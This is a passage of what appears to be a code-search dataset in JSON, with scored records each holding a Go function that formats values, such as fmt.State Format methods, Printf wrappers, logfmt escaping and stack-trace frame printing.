"0.5943653", "text": "func (st StackTrace) Format(s fmt.State, verb rune) {\n\tswitch verb {\n\tcase 'v':\n\t\tswitch {\n\t\tcase s.Flag('+'):\n\t\t\tfor _, f := range st {\n\t\t\t\tfmt.Fprintf(s, \"\\n%+v\", f)\n\t\t\t}\n\t\tcase s.Flag('#'):\n\t\t\tfmt.Fprintf(s, \"%#v\", []Frame(st))\n\t\tdefault:\n\t\t\tfmt.Fprintf(s, \"%v\", []Frame(st))\n\t\t}\n\tcase 's':\n\t\tfmt.Fprintf(s, \"%s\", []Frame(st))\n\t}\n}", "title": "" }, { "docid": "707b1128ac5fba651a32d767b4c8aa64", "score": "0.5918538", "text": "func (vo VoteOption) Format(s fmt.State, verb rune) {\n\tswitch verb {\n\tcase 's':\n\t\ts.Write([]byte(vo.String()))\n\tdefault:\n\t\ts.Write([]byte(fmt.Sprintf(\"%v\", byte(vo))))\n\t}\n}", "title": "" }, { "docid": "b0cc2d37197a247105fd56d033c6adc9", "score": "0.590147", "text": "func main() {\r\n\tfmt.Printf(\"I'm 20 years old\\n\")\r\n\tfmt.Printf(\"I'm %d years old\\n\", 20) // more safety\r\n\tfmt.Printf(\"I'm %v years old\\n\", 20) // more fast cause you dont need to think the variable type\r\n}", "title": "" }, { "docid": "0ea188c4926a37a80997781b29fce861", "score": "0.58981246", "text": "func Format(vs ...any) string {\n\tw := &bytes.Buffer{}\n\n\tstd2.Fprint(w, vs...)\n\treturn w.String()\n}", "title": "" }, { "docid": "df5b82c08c750688d8b5ae535ffb9120", "score": "0.5846108", "text": "func (u *Usage) Format(w fmt.State, v rune) {\n\tif v == 'v' && w.Flag('#') {\n\t\tio.WriteString(w, \"cli.Usage{\")\n\t\tfmt.Fprintf(w, \"Cmd: %#v, \", u.Cmd)\n\t\tfmt.Fprintf(w, \"Err: %#v\", u.Err)\n\t\tio.WriteString(w, \"}\")\n\t\treturn\n\t}\n\t// TODO: better detection/printing based on the requested format string.\n\tif u.Cmd != nil {\n\t\tprintUsage(w, u.Cmd)\n\t\tprintHelp(w, u.Cmd)\n\t}\n\tif u.Err != nil {\n\t\tprintError(w, u.Err)\n\t}\n}", "title": "" }, { "docid": "962ca6aa672ea4acb123c03cb2e2aa76", "score": "0.5746233", "text": "func (e *wrappedError) Format(s fmt.State, verb rune) {\n\t// normal output here....\n\tif verb != 'v' {\n\t\t_, _ = fmt.Fprint(s, e.Error())\n\t\treturn\n\t}\n\t// work with the stack trace... whole or part\n\tstack := trimInternal(stackTrace(e))\n\tif s.Flag('+') {\n\t\t_, _ = fmt.Fprintf(s, \"%+v\\n\", stack)\n\t\t_, _ = fmt.Fprint(s, e.Error())\n\t} else {\n\t\t_, _ = fmt.Fprint(s, e.Error())\n\t\twriteSimpleFrame(s, stack[0])\n\t}\n}", "title": "" }, { "docid": "0527a1185cf6b8e302c1b908adeeb7d7", "score": "0.57354826", "text": "func (t DataType) Format(f fmt.State, r rune) {\n\tswitch {\n\tcase t.Is(F10):\n\t\tfmt.Fprintf(f, \"F10\")\n\tcase t.Is(F11):\n\t\tfmt.Fprintf(f, \"F11\")\n\tcase t.Is(F16):\n\t\tfmt.Fprintf(f, \"F16\")\n\tcase t.Is(F32):\n\t\tfmt.Fprintf(f, \"F32\")\n\tcase t.Is(F64):\n\t\tfmt.Fprintf(f, \"F64\")\n\tcase t.IsFloat() && t.Signed:\n\t\tfmt.Fprintf(f, \"F:s:%d:%d\", t.GetFloat().ExponentBits, t.GetFloat().MantissaBits)\n\tcase t.IsFloat() && !t.Signed:\n\t\tfmt.Fprintf(f, \"F:u:%d:%d\", t.GetFloat().ExponentBits, t.GetFloat().MantissaBits)\n\tcase t.IsInteger() && t.Signed:\n\t\tfmt.Fprintf(f, \"S%d\", t.GetInteger().Bits+1)\n\tcase t.IsInteger() && !t.Signed:\n\t\tfmt.Fprintf(f, \"U%d\", t.GetInteger().Bits)\n\tcase t.IsFixed() && t.Signed:\n\t\tfmt.Fprintf(f, \"S%d.%d\", t.GetFixed().IntegerBits+1, t.GetFixed().FractionalBits)\n\tcase t.IsFixed() && !t.Signed:\n\t\tfmt.Fprintf(f, \"U%d.%d\", t.GetFixed().IntegerBits, t.GetFixed().FractionalBits)\n\tdefault:\n\t\tfmt.Fprintf(f, \"<unknown kind %T>\", t.Kind)\n\t}\n}", "title": "" }, { "docid": "49087307b794e6c1023d412bcce15b71", "score": "0.5732378", "text": "func Pformat(value interface{}) string {\n if s, ok := value.(string); ok {\n return s\n }\n valueJSON, err := json.MarshalIndent(value, \"\", \" \")\n if err != nil {\n log.Warningf(\"Couldn't pretty format %v, error: %v\", value, err)\n return fmt.Sprintf(\"%v\", value)\n }\n return string(valueJSON)\n}", "title": "" }, { "docid": "826e3d6f298d8b8ccd802a24fcd38545", "score": "0.57265913", "text": "func fmtFormatter(v ...interface{}) string {\n\treturn fmt.Sprint(v...)\n}", "title": "" }, { "docid": "c89d4590336a028174fcb13c16e2e4cf", "score": "0.5699469", "text": "func (sc StrColor) Format(s fmt.State, verb rune) {\n\tformat := make([]byte, 0, 128)\n\tif enabled {\n\t\tformat = append(format, esc...)\n\t\tformat = append(sc.Color)\n\t}\n\tformat = append(format, '%')\n\tvar f byte\n\tfor i := 0; i < len(flags); i++ {\n\t\tif f = flags[i]; s.Flag(int(f)) {\n\t\t\tformat = append(format, f)\n\t\t}\n\t}\n\tvar width, prec int\n\tvar ok bool\n\tif width, ok = s.Width(); ok {\n\t\tformat = strconv.AppendInt(format, int64(width), 10)\n\t}\n\tif prec, ok = s.Precision(); ok {\n\t\tformat = append(format, '.')\n\t\tformat = strconv.AppendInt(format, int64(prec), 10)\n\t}\n\tif verb > utf8.RuneSelf {\n\t\tformat = append(format, string(verb)...)\n\t} else {\n\t\tformat = append(format, byte(verb))\n\t}\n\n\tformat = append(format, clear...)\n\tfmt.Fprintf(s, string(format), sc.Val)\n}", "title": "" }, { "docid": "c400fb9880d5ff0ae8e3e0603dece14d", "score": "0.56963044", "text": "func (f *Formatter) FormatValue(v interface{}) string {\n\tstr := fmt.Sprintf(\"%#v\", v)\n\ttokenList := tokenize(str)\n\ttokens := buildTokenTree(tokenList)\n\n\tf.collapseLeaves(tokens)\n\tf.alignValues(tokens)\n\tf.applyToTokens(tokens, f.wrapToken())\n\n\tvar buf strings.Builder\n\tf.writeTokens(&buf, tokens)\n\n\treturn trimTrailingNewlines(buf.String(), f.NewlineStr)\n}", "title": "" }, { "docid": "53cdcc2102ffef324aa3cfa8c38eebd5", "score": "0.56908506", "text": "func format(arg interface{}) string {\n\tswitch arg := arg.(type) {\n\tcase int:\n\t\treturn fmt.Sprintf(\"%d\", arg)\n\tcase string:\n\t\tif len(arg) > 2 && arg[0] == '/' && arg[len(arg)-1] == '/' {\n\t\t\treturn fmt.Sprintf(\"%#q\", arg)\n\t\t}\n\t\treturn fmt.Sprintf(\"%q\", arg)\n\tdefault:\n\t\tlog.Fatalf(\"unrecognized argument: %v type %T\", arg, arg)\n\t}\n\treturn \"\"\n}", "title": "" }, { "docid": "e94f4645bf07fadc7ae1722829770134", "score": "0.5680354", "text": "func StringFormatting() {\n\t// Go offers several printing “verbs” designed to format general\n\t// Go values. For example, this prints an instance of our point struct.\n\tp := point{1, 2}\n\tfmt.Printf(\"%v\\n\", p)\n\n\t// If the value is a struct, the %+v variant will include the struct’s field names.\n\tfmt.Printf(\"%+v\\n\", p)\n\n\t// The %#v variant prints a Go syntax representation of the value, i.e. the source code snippet that would produce that value.\n\tfmt.Printf(\"%#v\\n\", p)\n\n\t// To print the type of a value, use %T.\n\tfmt.Printf(\"%T\\n\", p)\n\n\t// Formatting booleans is straight-forward.\n\tfmt.Printf(\"%t\\n\", true)\n\n\t// There are many options for formatting integers. Use %d for standard,\n\t// base-10 formatting.\n\tfmt.Printf(\"%d\\n\", 123)\n\n\t// This prints a binary representation.\n\tfmt.Printf(\"%b\\n\", 14)\n\n\t// This prints the character corresponding to the given integer.\n\tfmt.Printf(\"%c\\n\", 33)\n\n\t// %x provides hex encoding.\n\tfmt.Printf(\"%x\\n\", \"f\")\n\n\t// There are also several formatting options for floats.\n\t//For basic decimal formatting use %f.\n\tfmt.Printf(\"%f\\n\", 78.9)\n\n\t// %e and %E format the float in (slightly different versions of) scientific notation.\n\tfmt.Printf(\"%e\\n\", 123400000.0)\n\tfmt.Printf(\"%E\\n\", 123400000.0)\n\n\t// For basic string printing use %s.\n\tfmt.Printf(\"%s\\n\", \"\\\"string\\\"\")\n\n\t// To double-quote strings as in Go source, use %q.\n\tfmt.Printf(\"%q\\n\", \"\\\"string\\\"\")\n\n\t// As with integers seen earlier, %x renders the string in base-16,\n\t// with two output characters per byte of input.\n\tfmt.Printf(\"%x\\n\", \"hex this\")\n\n\t// To print a representation of a pointer, use %p.\n\tfmt.Printf(\"%p\\n\", &p)\n\n\t// When formatting numbers you will often want to control the width and precision\n\t// of the resulting figure. To specify the width of an integer,\n\t// use a number after the % in the verb.\n\t// By default the result will be right-justified and padded with spaces.\n\tfmt.Printf(\"|%6d|%6d|\\n\", 12, 345)\n\n\t// You can also specify the width of printed floats,\n\t// though usually you’ll also want to restrict the decimal\n\t// precision at the same time with the width.precision syntax.\n\tfmt.Printf(\"|%6.2f|%6.2f|\\n\", 1.2, 3.45)\n\n\t// To left-justify, use the - flag.\n\tfmt.Printf(\"|%-6.2f|%-6.2f|\\n\", 1.2, 3.45)\n\n\t// You may also want to control width when formatting strings,\n\t// especially to ensure that they align in table-like output.\n\t// For basic right-justified width.\n\tfmt.Printf(\"|%6s|%6s|\\n\", \"foo\", \"bar\")\n\n\t// To left-justify use the - flag as with numbers.\n\tfmt.Printf(\"|%-6s|%-6s|\\n\", \"foo\", \"bar\")\n\n\t// So far we’ve seen Printf,\n\t//which prints the formatted string to os.Stdout.\n\t// Sprintf formats and returns a string without printing it anywhere.\n\ts := fmt.Sprintf(\"a %s\", \"string\")\n\tfmt.Println(s)\n\n\t// You can format+print to io.Writers other than os.Stdout using Fprintf.\n\tfmt.Fprintf(os.Stderr, \"an %s\", \"error\")\n\n}", "title": "" }, { "docid": "ca0f0e5a631afd3e136d75c9d4995296", "score": "0.5671713", "text": "func (t TensorType) Format(state fmt.State, c rune) {\n\tif state.Flag('#') {\n\t\tfmt.Fprintf(state, \"Tensor-%d %#v\", t.Dims, t.Of)\n\t} else {\n\t\tswitch t.Dims {\n\t\tcase 1:\n\t\t\tfmt.Fprintf(state, \"Vector %v\", t.Of)\n\t\tcase 2:\n\t\t\tfmt.Fprintf(state, \"Matrix %v\", t.Of)\n\t\tdefault:\n\t\t\tfmt.Fprintf(state, \"Tensor-%d %v\", t.Dims, t.Of)\n\t\t}\n\t}\n}", "title": "" }, { "docid": "7e517cf99a0b16db8481e61a9d9b39da", "score": "0.56493586", "text": "func (st StackTrace) Format(s fmt.State, verb rune) {\n\tswitch verb {\n\tcase 'v':\n\t\tswitch {\n\t\tcase s.Flag('+'):\n\t\t\tfor _, f := range st {\n\t\t\t\tio.WriteString(s, \"\\n\")\n\t\t\t\tf.Format(s, verb)\n\t\t\t}\n\t\tcase s.Flag('#'):\n\t\t\tfmt.Fprintf(s, \"%#v\", []Frame(st))\n\t\tdefault:\n\t\t\tst.formatSlice(s, verb)\n\t\t}\n\tcase 's':\n\t\tst.formatSlice(s, verb)\n\t}\n}", "title": "" }, { "docid": "8b92110d455c48512d8c57599349014a", "score": "0.56129205", "text": "func (c Complex128) Format(fmtS fmt.State, verb rune) {\n\tif !c.Present() {\n\t\tio.WriteString(fmtS, \"none\")\n\t\treturn\n\t}\n\tvar format string\n\tswitch verb {\n\tcase 'v':\n\t\tif fmtS.Flag('+') {\n\t\t\tformat = \"some(%+v)\"\n\t\t} else {\n\t\t\tformat = \"some(%v)\"\n\t\t}\n\tcase 's':\n\t\tformat = \"some(%v)\"\n\tcase 'q':\n\t\tformat = \"\\\"some(%v)\\\"\"\n\t}\n\tfmt.Fprintf(fmtS, format, c.val)\n}", "title": "" }, { "docid": "9a043e552946a4ae70a90d0d9e8db2a6", "score": "0.56017613", "text": "func (r Ratio) Format(w fmt.State, v rune) {\n\tr.formatWith(w, v, 2)\n}", "title": "" }, { "docid": "f1061a83c9a5527c51bffc2041b65166", "score": "0.5599321", "text": "func (status ProposalStatus) Format(s fmt.State, verb rune) {\n\tswitch verb {\n\tcase 's':\n\t\ts.Write([]byte(status.String()))\n\tdefault:\n\t\t// TODO: Do this conversion more directly\n\t\ts.Write([]byte(fmt.Sprintf(\"%v\", byte(status))))\n\t}\n}", "title": "" }, { "docid": "f1061a83c9a5527c51bffc2041b65166", "score": "0.5599321", "text": "func (status ProposalStatus) Format(s fmt.State, verb rune) {\n\tswitch verb {\n\tcase 's':\n\t\ts.Write([]byte(status.String()))\n\tdefault:\n\t\t// TODO: Do this conversion more directly\n\t\ts.Write([]byte(fmt.Sprintf(\"%v\", byte(status))))\n\t}\n}", "title": "" }, { "docid": "26513aec56a35346e7148f5823c526ae", "score": "0.5575004", "text": "func formatType(typ types.Type, qf types.Qualifier) (detail string, kind CompletionItemKind) {\n\tif types.IsInterface(typ) {\n\t\tdetail = \"interface{...}\"\n\t\tkind = InterfaceCompletionItem\n\t} else if _, ok := typ.(*types.Struct); ok {\n\t\tdetail = \"struct{...}\"\n\t\tkind = StructCompletionItem\n\t} else if typ != typ.Underlying() {\n\t\tdetail, kind = formatType(typ.Underlying(), qf)\n\t} else {\n\t\tdetail = types.TypeString(typ, qf)\n\t\tkind = TypeCompletionItem\n\t}\n\treturn detail, kind\n}", "title": "" }, { "docid": "ea1e39e7b0627f7edc2deb39d817e210", "score": "0.55747086", "text": "func (e *Extent) Format(state fmt.State, verb rune) {\n\tfmt.Fprintf(state, FormatFromState(state, verb), e.Text)\n}", "title": "" }, { "docid": "f9ae8176d6bdb13f0f4d59ee0253adce", "score": "0.5569627", "text": "func (oe OutputCachedEnum) Format(s fmt.State, verb rune) {\n\tswitch verb {\n\tcase 's':\n\t\ts.Write([]byte(fmt.Sprintf(\"%s\", oe.String())))\n\tdefault:\n\t\ts.Write([]byte(fmt.Sprintf(\"%v\", byte(oe))))\n\t}\n}", "title": "" }, { "docid": "781d291ef75355cfcb2721a563bbf37c", "score": "0.55573326", "text": "func (c *Command) formatParam(raw interface{}) (string, error) {\n\tswitch c.ParamType {\n\tcase OnOff:\n\t\treturn formatOnOff(raw)\n\tcase OnOffToggle:\n\t\treturn formatOnOffToggle(raw)\n\tcase Enum:\n\t\treturn formatEnum(c.Lookup, raw)\n\tcase EnumToggle:\n\t\treturn formatEnumToggle(c.Lookup, raw)\n\tcase IntRange:\n\t\treturn formatIntRange(c.Lower, c.Upper, c.Scale, raw)\n\tcase IntRangeEnum:\n\t\treturn formatIntRangeEnum(c.Lower, c.Upper, c.Scale, c.Lookup, raw)\n\t}\n\n\treturn \"\", fmt.Errorf(\"unsupported param type %q\", c.ParamType)\n}", "title": "" }, { "docid": "087d4dfb65967911a4ead0383163563c", "score": "0.5556955", "text": "func (f Formatter) KVFormat(b *bytes.Buffer, k, v interface{}) {\n\tb.WriteByte(' ')\n\t// Keys are assumed to be well-formed according to\n\t// https://github.com/kubernetes/community/blob/master/contributors/devel/sig-instrumentation/migration-to-structured-logging.md#name-arguments\n\t// for the sake of performance. Keys with spaces,\n\t// special characters, etc. will break parsing.\n\tif sK, ok := k.(string); ok {\n\t\t// Avoid one allocation when the key is a string, which\n\t\t// normally it should be.\n\t\tb.WriteString(sK)\n\t} else {\n\t\tb.WriteString(fmt.Sprintf(\"%s\", k))\n\t}\n\n\t// The type checks are sorted so that more frequently used ones\n\t// come first because that is then faster in the common\n\t// cases. In Kubernetes, ObjectRef (a Stringer) is more common\n\t// than plain strings\n\t// (https://github.com/kubernetes/kubernetes/pull/106594#issuecomment-975526235).\n\tswitch v := v.(type) {\n\tcase textWriter:\n\t\twriteTextWriterValue(b, v)\n\tcase fmt.Stringer:\n\t\twriteStringValue(b, StringerToString(v))\n\tcase string:\n\t\twriteStringValue(b, v)\n\tcase error:\n\t\twriteStringValue(b, ErrorToString(v))\n\tcase logr.Marshaler:\n\t\tvalue := MarshalerToValue(v)\n\t\t// A marshaler that returns a string is useful for\n\t\t// delayed formatting of complex values. We treat this\n\t\t// case like a normal string. This is useful for\n\t\t// multi-line support.\n\t\t//\n\t\t// We could do this by recursively formatting a value,\n\t\t// but that comes with the risk of infinite recursion\n\t\t// if a marshaler returns itself. Instead we call it\n\t\t// only once and rely on it returning the intended\n\t\t// value directly.\n\t\tswitch value := value.(type) {\n\t\tcase string:\n\t\t\twriteStringValue(b, value)\n\t\tdefault:\n\t\t\tf.formatAny(b, value)\n\t\t}\n\tcase []byte:\n\t\t// In https://github.com/kubernetes/klog/pull/237 it was decided\n\t\t// to format byte slices with \"%+q\". The advantages of that are:\n\t\t// - readable output if the bytes happen to be printable\n\t\t// - non-printable bytes get represented as unicode escape\n\t\t// sequences (\\uxxxx)\n\t\t//\n\t\t// The downsides are that we cannot use the faster\n\t\t// strconv.Quote here and that multi-line output is not\n\t\t// supported. If developers know that a byte array is\n\t\t// printable and they want multi-line output, they can\n\t\t// convert the value to string before logging it.\n\t\tb.WriteByte('=')\n\t\tb.WriteString(fmt.Sprintf(\"%+q\", v))\n\tdefault:\n\t\tf.formatAny(b, v)\n\t}\n}", "title": "" }, { "docid": "5f5346acba65e177f579a76369252d58", "score": "0.55545115", "text": "func (self Error) Format(fms fmt.State, verb rune) {\n\tswitch verb {\n\tcase 'v':\n\t\tif fms.Flag('#') || fms.Flag('+') {\n\t\t\tfmt.Fprintf(fms, \"position %v: \", self.Parser.Cursor)\n\t\t\tif self.Cause != nil {\n\t\t\t\tfmt.Fprintf(fms, \"%+v\", self.Cause)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tfms.Write(stringToBytesAlloc(self.Error()))\n\tdefault:\n\t\tfms.Write(stringToBytesAlloc(self.Error()))\n\t}\n}", "title": "" }, { "docid": "e57ea490b68b749ab2d9c28b590ab05a", "score": "0.5554049", "text": "func (e *Detail) Format(s fmt.State, v rune) {\n\txerrors.FormatError(e, s, v)\n}", "title": "" }, { "docid": "af36a38e009709fad5e68376c3f5fff8", "score": "0.5545317", "text": "func (e Error) Format(s fmt.State, verb rune) {\n\tswitch verb {\n\tcase 'v':\n\t\tif s.Flag('+') {\n\t\t\tio.WriteString(s, e.Error())\n\t\t\te.stack.Format(s, verb)\n\t\t\treturn\n\t\t}\n\t\tfallthrough\n\tcase 's':\n\t\tio.WriteString(s, e.Error())\n\tcase 'q':\n\t\tfmt.Fprintf(s, \"%q\", e.Error())\n\t}\n}", "title": "" }, { "docid": "623d8a63aecef700f035afc1d453a4ac", "score": "0.5533103", "text": "func Valuf(format string, v ...interface{}) {\n\tcyan.PrintfFunc()(format, v...)\n}", "title": "" }, { "docid": "c8eeb718b1bf8b44074f4258fba99d19", "score": "0.5523993", "text": "func Format(v string) string {\n\t// g is the length of the format group\n\tconst g = 5\n\tif len(v) < g {\n\t\treturn v\n\t}\n\ts := \"\"\n\tlo := len(v) - g\n\tfor i := len(v); i >= 0; i -= g {\n\t\ts = v[lo:i] + s\n\t\tif lo > 0 {\n\t\t\ts = \" \" + s\n\t\t}\n\t\tif lo-g < 0 {\n\t\t\tlo = 0\n\t\t} else {\n\t\t\tlo -= g\n\t\t}\n\t}\n\treturn s\n}", "title": "" }, { "docid": "00543c95bca6f812cf18315d3787b141", "score": "0.5513631", "text": "func fs(fmtString string, v ...interface{}) string {\n\treturn fmt.Sprintf(fmtString, v...)\n}", "title": "" }, { "docid": "e0ab51e8494b3a3ea1e39284f95c9e08", "score": "0.5512833", "text": "func Printf(format string, v ...interface{}) {}", "title": "" }, { "docid": "7ae21a19fd1747035d870c5e690625b1", "score": "0.5509137", "text": "func (vc *ValueContext) Format() (value string, err error) {\n\tdefer func() {\n\t\tif state := recover(); state != nil {\n\t\t\terr = log.Wrap(state.(error))\n\t\t}\n\t}()\n\n\trawBytes, err := vc.readRawEncoded()\n\tlog.PanicIf(err)\n\n\tphrase, err := FormatFromBytes(rawBytes, vc.effectiveValueType(), false, vc.byteOrder)\n\tlog.PanicIf(err)\n\n\treturn phrase, nil\n}", "title": "" }, { "docid": "56efea078ae8f2e6e4f610dd2624b033", "score": "0.5506056", "text": "func (f Int) makeFormat() string {\n\tswitch f.Verb {\n\tcase 0:\n\t\treturn \"%d\"\n\tcase 'b', 'c', 'd', 'o', 'O', 'q', 'x', 'X', 'U':\n\t\treturn \"%\" + string(f.Verb)\n\tdefault:\n\t\tpanic(fmt.Errorf(\"%T: bad Format verb: %q\", f, f.Verb))\n\t}\n}", "title": "" }, { "docid": "31f5b05d14f0a99b95d462d22e7c36a3", "score": "0.55020475", "text": "func formatLogfmtValue(value interface{}) string {\n\tif value == nil {\n\t\treturn \"nil\"\n\t}\n\n\tif t, ok := value.(time.Time); ok {\n\t\t// Performance optimization: No need for escaping since the provided\n\t\t// timeFormat doesn't have any escape characters, and escaping is\n\t\t// expensive.\n\t\treturn t.Format(termTimeFormat)\n\t}\n\tvalue = formatShared(value)\n\tswitch v := value.(type) {\n\tcase bool:\n\t\treturn strconv.FormatBool(v)\n\tcase float32:\n\t\treturn strconv.FormatFloat(float64(v), floatFormat, 3, 64)\n\tcase float64:\n\t\treturn strconv.FormatFloat(v, floatFormat, 7, 64)\n\tcase int, int8, int16, int32, int64, uint, uint8, uint16, uint32, uint64:\n\t\treturn fmt.Sprintf(\"%d\", value)\n\tcase string:\n\t\treturn escapeString(v)\n\tdefault:\n\t\treturn escapeString(fmt.Sprintf(\"%+v\", value))\n\t}\n}", "title": "" }, { "docid": "31f5b05d14f0a99b95d462d22e7c36a3", "score": "0.55020475", "text": "func formatLogfmtValue(value interface{}) string {\n\tif value == nil {\n\t\treturn \"nil\"\n\t}\n\n\tif t, ok := value.(time.Time); ok {\n\t\t// Performance optimization: No need for escaping since the provided\n\t\t// timeFormat doesn't have any escape characters, and escaping is\n\t\t// expensive.\n\t\treturn t.Format(termTimeFormat)\n\t}\n\tvalue = formatShared(value)\n\tswitch v := value.(type) {\n\tcase bool:\n\t\treturn strconv.FormatBool(v)\n\tcase float32:\n\t\treturn strconv.FormatFloat(float64(v), floatFormat, 3, 64)\n\tcase float64:\n\t\treturn strconv.FormatFloat(v, floatFormat, 7, 64)\n\tcase int, int8, int16, int32, int64, uint, uint8, uint16, uint32, uint64:\n\t\treturn fmt.Sprintf(\"%d\", value)\n\tcase string:\n\t\treturn escapeString(v)\n\tdefault:\n\t\treturn escapeString(fmt.Sprintf(\"%+v\", value))\n\t}\n}", "title": "" }, { "docid": "8dbf5925cdbaf5834988a58be83deff1", "score": "0.5498148", "text": "func formatValue(wrap, indent int, typ string, b []byte) string {\n\tconst hextable = \"0123456789abcdef\"\n\tif typ == \"string\" {\n\t\ttyp = \"\"\n\t}\n\tif len(b) == 0 {\n\t\tif typ == \"\" {\n\t\t\treturn \"\\\"\\\"\\n\"\n\t\t}\n\t\treturn typ + \"(\\\"\\\")\\n\"\n\t}\n\tvar s strings.Builder\n\tif typ != \"\" {\n\t\ts.WriteString(typ)\n\t\ts.WriteByte('(')\n\t}\n\tif wrap > 0 && len(b) > wrap {\n\t\ts.WriteString(\"\\\"\\\" +\\n\")\n\t} else {\n\t\ts.WriteByte('\"')\n\t}\n\tfor i := 0; i < len(b); i++ {\n\t\tif len(b) > wrap && wrap > 0 && i%wrap == 0 {\n\t\t\tfor i := 0; i < indent; i++ {\n\t\t\t\ts.WriteString(\"\\t\")\n\t\t\t}\n\t\t\ts.WriteString(\"\\\"\")\n\t\t}\n\t\ts.WriteString(\"\\\\x\")\n\t\ts.WriteByte(hextable[b[i]>>4])\n\t\ts.WriteByte(hextable[b[i]&0x0f])\n\t\tif i == len(b)-1 {\n\t\t\ts.WriteByte('\"')\n\t\t\tif typ != \"\" {\n\t\t\t\ts.WriteByte(')')\n\t\t\t}\n\t\t\ts.WriteByte('\\n')\n\t\t} else if wrap > 0 && i%wrap == wrap-1 {\n\t\t\ts.WriteString(\"\\\" +\\n\")\n\t\t}\n\t}\n\treturn s.String()\n}", "title": "" }, { "docid": "2078e13ed5456cec3d8e9ccaca87e8a7", "score": "0.5486688", "text": "func (node *AlterTypeRenameValue) Format(ctx *FmtCtx) {\n\tctx.WriteString(\" RENAME VALUE \")\n\tlex.EncodeSQLString(&ctx.Buffer, node.OldVal)\n\tctx.WriteString(\" TO \")\n\tlex.EncodeSQLString(&ctx.Buffer, node.NewVal)\n}", "title": "" }, { "docid": "213909fe7fabc9f140b62cb56da1b2a6", "score": "0.5484187", "text": "func Printf(format string, s ...interface{}) { v.Printf(format, s...) }", "title": "" }, { "docid": "d4b9ed5d5ef82d533ca1db728a86de08", "score": "0.5479999", "text": "func (this testField) valuePrintf() string {\n\tif this.isStringOrBytes {\n\t\t// Quoted string. So unquote it.\n\t\treturn this.value[1 : len(this.value)-1]\n\t}\n\treturn this.value\n}", "title": "" }, { "docid": "8070a4c7843a8072c6cefc571a0d2c56", "score": "0.54753447", "text": "func (ctx *Ctx) Format(body interface{}) {\n\tvar b string\n\taccept := ctx.Accepts(\"html\", \"json\")\n\n\tswitch val := body.(type) {\n\tcase string:\n\t\tb = val\n\tcase []byte:\n\t\tb = getString(val)\n\tdefault:\n\t\tb = fmt.Sprintf(\"%v\", val)\n\t}\n\tswitch accept {\n\tcase \"html\":\n\t\tctx.SendString(\"<p>\" + b + \"</p>\")\n\tcase \"json\":\n\t\tif err := ctx.JSON(body); err != nil {\n\t\t\tlog.Println(\"Format: error serializing json \", err)\n\t\t}\n\tdefault:\n\t\tctx.SendString(b)\n\t}\n}", "title": "" }, { "docid": "babf7b26ac1a23f1891a0b430c434ee6", "score": "0.5469745", "text": "func (t Token) Format(f fmt.State, c rune) {\n\tfmt.Fprintf(f, \"%d:%d:%s\", t.Start, t.End, t.String())\n}", "title": "" }, { "docid": "fc1f6a75e7b7efd101620a8369517ebb", "score": "0.5463746", "text": "func (f Frame) Format(s fmt.State, verb rune) {\n\tswitch verb {\n\tcase 's':\n\t\tswitch {\n\t\tcase s.Flag('+'):\n\t\t\tpc := f.pc()\n\t\t\tfn := runtime.FuncForPC(pc)\n\t\t\tif fn == nil {\n\t\t\t\tio.WriteString(s, \"unknown\")\n\t\t\t} else {\n\t\t\t\tfile, _ := fn.FileLine(pc)\n\t\t\t\tfmt.Fprintf(s, \"%s\\n\\t%s\", fn.Name(), file)\n\t\t\t}\n\t\tdefault:\n\t\t\tio.WriteString(s, path.Base(f.file()))\n\t\t}\n\tcase 'd':\n\t\tfmt.Fprintf(s, \"%d\", f.line())\n\tcase 'n':\n\t\tname := runtime.FuncForPC(f.pc()).Name()\n\t\tio.WriteString(s, funcname(name))\n\tcase 'v':\n\t\tf.Format(s, 's')\n\t\tio.WriteString(s, \":\")\n\t\tf.Format(s, 'd')\n\t}\n}", "title": "" }, { "docid": "fc1f6a75e7b7efd101620a8369517ebb", "score": "0.5463746", "text": "func (f Frame) Format(s fmt.State, verb rune) {\n\tswitch verb {\n\tcase 's':\n\t\tswitch {\n\t\tcase s.Flag('+'):\n\t\t\tpc := f.pc()\n\t\t\tfn := runtime.FuncForPC(pc)\n\t\t\tif fn == nil {\n\t\t\t\tio.WriteString(s, \"unknown\")\n\t\t\t} else {\n\t\t\t\tfile, _ := fn.FileLine(pc)\n\t\t\t\tfmt.Fprintf(s, \"%s\\n\\t%s\", fn.Name(), file)\n\t\t\t}\n\t\tdefault:\n\t\t\tio.WriteString(s, path.Base(f.file()))\n\t\t}\n\tcase 'd':\n\t\tfmt.Fprintf(s, \"%d\", f.line())\n\tcase 'n':\n\t\tname := runtime.FuncForPC(f.pc()).Name()\n\t\tio.WriteString(s, funcname(name))\n\tcase 'v':\n\t\tf.Format(s, 's')\n\t\tio.WriteString(s, \":\")\n\t\tf.Format(s, 'd')\n\t}\n}", "title": "" }, { "docid": "fc1f6a75e7b7efd101620a8369517ebb", "score": "0.5463746", "text": "func (f Frame) Format(s fmt.State, verb rune) {\n\tswitch verb {\n\tcase 's':\n\t\tswitch {\n\t\tcase s.Flag('+'):\n\t\t\tpc := f.pc()\n\t\t\tfn := runtime.FuncForPC(pc)\n\t\t\tif fn == nil {\n\t\t\t\tio.WriteString(s, \"unknown\")\n\t\t\t} else {\n\t\t\t\tfile, _ := fn.FileLine(pc)\n\t\t\t\tfmt.Fprintf(s, \"%s\\n\\t%s\", fn.Name(), file)\n\t\t\t}\n\t\tdefault:\n\t\t\tio.WriteString(s, path.Base(f.file()))\n\t\t}\n\tcase 'd':\n\t\tfmt.Fprintf(s, \"%d\", f.line())\n\tcase 'n':\n\t\tname := runtime.FuncForPC(f.pc()).Name()\n\t\tio.WriteString(s, funcname(name))\n\tcase 'v':\n\t\tf.Format(s, 's')\n\t\tio.WriteString(s, \":\")\n\t\tf.Format(s, 'd')\n\t}\n}", "title": "" }, { "docid": "83b2cfd62a6896d5dce70d1dc4ab9afe", "score": "0.5456847", "text": "func reformatDefault(value string) string {\n\tif value == \"default\" {\n\t\treturn `\"DEFAULT\"`\n\t}\n\n\treturn value\n}", "title": "" }, { "docid": "98f4d45521cf4d7ef4d653dae6cac7fb", "score": "0.54567397", "text": "func (node *AlterTypeAddValue) Format(ctx *FmtCtx) {\n\tctx.WriteString(\" ADD VALUE \")\n\tif node.IfNotExists {\n\t\tctx.WriteString(\"IF NOT EXISTS \")\n\t}\n\tlex.EncodeSQLString(&ctx.Buffer, node.NewVal)\n\tif node.Placement != nil {\n\t\tif node.Placement.Before {\n\t\t\tctx.WriteString(\" BEFORE \")\n\t\t} else {\n\t\t\tctx.WriteString(\" AFTER \")\n\t\t}\n\t\tlex.EncodeSQLString(&ctx.Buffer, 